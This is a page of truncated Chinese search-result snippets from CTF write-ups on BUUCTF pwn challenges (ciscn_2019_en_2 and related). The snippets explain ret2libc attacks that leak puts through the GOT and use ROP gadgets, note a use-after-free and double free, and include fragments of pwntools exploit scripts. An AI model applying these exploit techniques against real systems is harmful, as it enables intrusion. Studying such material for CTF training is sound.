然后去找找看有没有后门函数 得了,别说后门函数了,system和/bin/sh是一个都没有,那么这时候我们就要想着libc泄露了,还好puts还是在的地址随机化也没开,所以我们直接泄露puts的got表,然后去网站上找一下偏移就行了 frompwnimport* p=remote('node4.buuoj.cn',26527)#p=process('./ciscn')elf=ELF('./cisc...
ciscn_2019_en_2 1 打开ida 记得绕过加密,因为它会改变s里面的值 exp from pwn import * from LibcSearcher import * context(os='linux', arch='amd64') context.log_level='debug' io=remote('node5.buuoj.cn',26931) elf = ELF('./ciscn_2019_en_2') io.sendline(b'1') main = elf.sym...
1.是64位的文件,拖入IDA分析,发现好复杂一串,我们直接在终端中运行一下,就知道其中的逻辑很简单选数字几就会进入其中的函数运行,这里我们要进入Encrypt函数,因为其中有gets函数和puts函数,我们要利用puts函数来泄露libc的地址值。 2.因为是64字节,我们先用垃圾数据覆盖一下栈,然后sp到ret指令的地址时,用pop_rdi_...
[BUUCTF]PWN9——ciscn_2019_en_2 [BUUCTF]PWN9——ciscn_2019_en_2 题⽬⽹址:https://buuoj.cn/challenges#ciscn_2019_en_2 步骤:例⾏检查,64位,开启了NX保护 nc⼀下看看程序的执⾏⼤概流程,看这个模样很眼熟 ida查看了⼀下程序,确定了跟之前的 ⼀样,具体的看那题的链接 exp:f...
ciscn_2019_en_3 例行检查我就不放了,64位的程序放入ida中 可以看到s到buf的距离是0x10,因为puts是遇到\x00截止。而且题目没有限制我们s输入的数量,所以可以通过这个puts泄露出libc的基值 很明显的uaf漏洞,因为该题的libc版本是2.27所以可以通过double free来做这道题,比较简单...
from pwn import * from LibcSearcher import * context.os='linux' context.arch='amd64' context.log_level='debug' r = remote('node3.buuoj.cn',25663) elf = ELF('./ciscn_2019_en_2') rdi_ret = 0x400c83 ret = 0x400c84 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] ...
sla=lambda x,y:io.sendlineafter(x,y) #io= process('./')io= remote('node3.buuoj.cn',25950) elf=ELF('./ciscn_2019_en_2') sla('Input your choice!','1') playload='\0'+'a'*(0x50-1)+'b'*8+p64(0x0400c83)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym...
ciscn_2019_c_1 / ciscn_2019_en_1 感觉两道题长得一模一样。。。用一个exp都打通了。 检查保护,64位程序,只开启了堆栈不可执行。 emmmmmmm,简单的rop,溢出leaklibc然后拿到shell。 用system拿不到shell,用one_getgad可以。 直接贴exp了: 1frompwnimport*23#p = process('./ciscn_2019_c_1')4p = ...